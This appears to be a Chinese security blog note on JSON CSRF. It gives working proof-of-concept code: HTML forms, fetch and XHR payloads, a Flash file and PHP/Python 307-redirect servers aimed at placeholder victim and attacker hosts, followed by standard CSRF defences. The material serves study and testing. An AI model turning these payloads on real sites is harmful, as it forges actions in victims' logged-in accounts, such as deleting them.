这时很早以前的话题了,整理一下原理和工具脚本等,以作为笔记。

0x01 CSRF与Json CSRF

一般的,我们说CSRF都是在GET/POST请求中通过构造HTML表单如param=value来提交给服务器,服务器得到数据并处理请求;而Json CSRF则是提交Json格式的数据。

相比之下,提交Json格式的数据,这种请求包更难构造,因为表单无法伪造Content-Type字段、无法提交格式正确的Json数据,因此需要利用其它技术组合利用。

当然,两者的漏洞存在的前提是一样的,即无CSRF token。

0x02 Json CSRF的几种情形

未校验Content-Type字段和Json数据格式

此时直接使用Burpsuite生成的CSRF PoC即可利用,这里我们可以明显地看到Json数据最后会带上=号,因此也正是服务端未校验Json数据格式才能成功。

这里假设某站点Json端点通过POST方式提交Json数据,该接口用于添加新用户和邮箱,我们用Burpsuite抓包然后生成PoC如下,当然实际生成的情况中提交数据的特殊字符会被编码掉:

1
2
3
4
5
6
7
8
9
10
<html>
<title>JSON CSRF POC</title>
<center>
<h1> JSON CSRF POC </h1>
<form action=http://vul-app.com method=post enctype="text/plain" >
<input name='{"name":"attacker","email":"attacker@gmail.com","ignore_me":"test"}' value=''type='hidden'>
<input type=submit value="Submit">
</form>
</center>
</html>

而发送的POST请求包大致如下:

1
2
3
4
5
6
7
POST / HTTP/1.1
Host: vul-app.com
...
Content-Type: text/plain
...

{"name":"attacker","email":"attacker@gmail.com","ignore_me":"test"}=

可以看到,Content-Type字段为text/plain,Json数据最后会多出个=号,那是因为Json数据放在了input标签中name属性值中,而input标签的value属性为空,表单提交时是会以name=value的形式提交的。

缺点:无法伪造Content-Type字段;不校验Json数据格式。

未校验Content-Type字段,校验Json数据格式但最后的Json键值可填入=号

此时需要稍微改下前面的表单PoC,在input标签的value处写上相应的值来使Json数据格式正确:

1
2
3
4
5
6
7
8
9
10
<html>
<title>JSON CSRF POC</title>
<center>
<h1> JSON CSRF POC </h1>
<form action=http://vul-app.com method=post enctype="text/plain" >
<input name='{"name":"attacker","email":"attacker@gmail.com","ignore_me":"' value='test"}'type='hidden'>
<input type=submit value="Submit">
</form>
</center>
</html>

在POST的请求体中,看到Content-Type字段依然为text/plain,但Json数据最后并无=号,而是在Json数据中最后的键值对的值中前面多了个=号,这时闭合构造的结果:

缺点:无法伪造Content-Type字段;Json数据值可带=号。

校验Content-Type字段和Json数据格式,允许跨域OPTIONS

如果校验了Content-Type字段必须为application/json的话,前面两种方式都不行了。

当跨域请求为复杂请求时,浏览器会发送OPTIONS请求,用来让服务端返回允许的方法(如GET、POST),允许被跨域访问的Origin(来源或者域),还有是否需要Credentials(认证信息)等。

下面使用Fetch和XHR方法的前提都是要发起OPTIONS请求来进行预检,之后才是真正地发送Json数据包。

Fetch

使用JS的Fetch()方法可以解决Content-Type字段的问题:

1
2
3
4
5
<html>
<script>
fetch('http://vul-app.com', {method: 'POST', credentials: 'include', headers: {'Content-Type': 'application/json; charset=utf-8'}, body: '{"name":"attacker","email":"attacker@gmail.com","ignore_me":"test"}'});
</script>
</html>

抓包可看到会先发送OPTIONS请求,再发送真正的请求;在请求中Content-Type字段为application/json,Json数据也是正确的格式。

缺点:跨域发送OPTIONS请求。

XHR

使用XMLHttpRequest可以解决Content-Type字段的问题:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
<html>
<body>
<script>
function submitRequest()
{
var xhr = new XMLHttpRequest();
xhr.open("POST", "http://vul-app.com", true);
xhr.setRequestHeader("Accept", "*/*");
xhr.setRequestHeader("Accept-Language", "zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3");
xhr.setRequestHeader("Content-Type", "application/json; charset=utf-8");
xhr.withCredentials = true; //携带cookie
xhr.send(JSON.stringify({"name":"attacker","email":"attacker@gmail.com","ignore_me":"test"}));
}
</script>
</body>
<form action="#">
<input type="button" value="Submit request" onclick="submitRequest();"/>
</form>
</html>

抓包可看到会先发送OPTIONS请求,再发送真正的请求;在请求中Content-Type字段为application/json,Json数据也是正确的格式。

缺点:跨域发送OPTIONS请求。

校验Content-Type字段和Json数据格式

此时便需要用到Flash + HTTP 307技巧来实现利用了,在下一节说明。

0x03 Flash + HTTP 307

个人理解的公式:无CSRF token + Flash + HTTP 307 = Json CSRF

解决了哪些问题:

  • Flash可以自定义Header请求,从而伪造Content-Type字段;
  • HTTP 307和其他3xx HTTP状态码不同之处在于,307可以确保重定向请求发送之后,请求的方法和请求主体不会发生任何改变,会原封不动地转发出去;
  • Flash访问同域或存在crossdomain.xml允许的服务器的307跳转文件可避免Flash跨域访问时必须要求目标站点存在crossdomain.xml且配置允许的特定情况;

适用场景

目标Json端点无CSRF token机制,其所能接收的Header的Content-Type必须为application/json,且严格校验了Json格式数据。

关键文件

在发起攻击前,需要我们准备好几个关键的文件。

Flash文件

第一个是用于向307文件发起请求的诱使用户访问的Flash的swf文件,作用就是构造Json数据,伪造Content-Type字段并访问攻击者控制的服务器的307文件,至于as文件如何编译看下Flash XSS相关文章即可:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
package
{
import flash.display.Sprite;
import flash.net.URLLoader;
import flash.net.URLRequest;
import flash.net.URLRequestHeader;
import flash.net.URLRequestMethod;
public class csrf extends Sprite
{
public function csrf()
{
super();
var member1:Object = null;
var myJson:String = null;
member1 = new Object();
member1 = {
"acctnum":"100",
"confirm":"true"
};
var myData:Object = member1;
myJson = JSON.stringify(myData);
var url:String = "http://attacker-ip:8000/";
var request:URLRequest = new URLRequest(url);
request.requestHeaders.push(new URLRequestHeader("Content-Type","application/json"));
request.data = myJson;
request.method = URLRequestMethod.POST;
var urlLoader:URLLoader = new URLLoader();
try
{
urlLoader.load(request);
return;
}
catch(e:Error)
{
trace(e);
return;
}
}
}
}

实现307跳转功能的文件

该文件放置于攻击者控制的服务器上,可与Flash文件放置在同一服务上,可用PHP或Python实现。

PHP实现307跳转的代码,简单粗暴:

1
2
3
<?php
header("Location: ".$_GET["endpoint"], true, 307);
?>

Python实现的代码,基于BaseHTTPServer实现的,用于和Flash文件放置在同一个Web服务:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
import BaseHTTPServer
import time
import sys

HOST = ''
PORT = 8000

class RedirectHandler(BaseHTTPServer.BaseHTTPRequestHandler):
def do_POST(s):
# dir(s)
if s.path == '/csrf.swf':
s.send_response(200)
s.send_header("Content-Type","application/x-shockwave-flash")
s.end_headers()
s.wfile.write(open("csrf.swf", "rb").read())
return
s.send_response(307)
s.send_header("Location", "https://victim-site/userdelete")
s.end_headers()
def do_GET(s):
print(s.path)
s.do_POST()

if __name__ == '__main__':
server_class = BaseHTTPServer.HTTPServer
httpd = server_class((HOST, PORT), RedirectHandler)
print time.asctime(), "Server Starts - %s:%s" % (HOST, PORT)
try:
httpd.serve_forever()
except KeyboardInterrupt:
pass
httpd.server_close()
print time.asctime(), "Server Stops - %s:%s" % (HOST, PORT)

crossdomain.xml

这个文件是否需要看情况:当Flash文件和307跳转文件同域,则无需该文件;若两个文件不同域,为了使Flash文件能够成功跨域访问,则需要攻击者在307跳转文件所在的Web服务器上放置crossdomain.xml并设置允许Flash文件所在的域能够访问,如:

1
2
3
4
<cross-domain-policy>
<allow-access-from domain="*" secure="false"/>
<allow-http-request-headers-from domain="*" headers="*" secure="false"/>
</cross-domain-policy>

利用过程

借个FreeBuf上的图:

  1. 用户在浏览器中登录http://victim-site/

  2. 用户被重定向到http://attacker-ip:8000/csrf.swf

  3. Flash文件加载成功,并向http://attacker-ip:8000/发送带有自定义Header的POST Payload。

  4. 攻击者的服务器发送HTTP 307重定向,这样便能让POST响应body和自定义HTTP头按原样发送到http://victim-site/

  5. 目标用户刷新自己的http://victim-site/页面,并发现自己的帐户已经被删除了

案例

可参考:http://www.0xby.com/902.html

0x04 工具

现成美好的轮子已经很多了,无需我们自己再造了,下面是个人收集的两个。

Python起的Web服务,包括307文件都在一个Web服务中,理解原理可参考这个构造payload:

https://github.com/appsecco/json-flash-csrf-poc

更全面的工具,包括显示界面等HTML文件,PHP文件实现的307跳转功能:

https://github.com/sp1d3r/swf_json_csrf/

0x05 防御方法

Json CSRF还是CSRF漏洞,采用CSRF通用防御即可成功防御。

主要有 5 种策略:验证 HTTP的Referer字段、在请求地址中添加 token 并验证、在 HTTP 头中自定义属性并验证、使用POST替代GET等。

(1)、验证 HTTP的Referer字段,在 HTTP 头的Referer字段记录了该 HTTP 请求的来源地址。顺便解决了非法盗链、站外提交等问题。在通常情况下,访问一个安全受限页面的请求必须来自于同一个网站。

(2)、在请求地址中添加 token 并验证,可以在 HTTP请求中以参数的形式加入一个随机产生的 token,并在服务器端建立一个拦截器来验证这个token,如果请求中没有 token 或者 token 内容不正确,则认为可能是 CSRF 攻击而拒绝该请求。抵御 CSRF 攻击的关键在于:在请求中加入攻击者所不能伪造的信息,并且该信息不存在于 Cookie 之中。

(3)、在 HTTP 头中自定义属性并验证,也是使用 token 并进行验证,但并不是把 token以参数的形式置于 HTTP 请求而是放到 HTTP 头中自定义的属性里。通过XMLHttpRequest 这个类,可以一次性给所有该类请求加上 csrftoken 这个 HTTP 头属性,并把token 值放入其中。这样解决了前一种方法在请求中加入 token 的不便,同时,通过这个类请求的地址不会被记录到浏览器的地址栏,也不用担心 token 会通过 Referer 泄露到其他网站。

(4)、严格区分好 POST 与 GET 的数据请求,尽量使用POST来替代GET,如在 asp 中不要使用 Request 来直接获取数据。同时建议不要用 GET 请求来执行持久性操作。

(5)、使用验证码或者密码确认方式,缺点是用户体验差。

0x06 参考

如何在JSON端点上利用CSRF漏洞

通过挖掘某某 src 来学习 json csrf

[译] 使用 Flash 进行 JSON CSRF 攻击

JSON CSRF的一个案例-附利用链接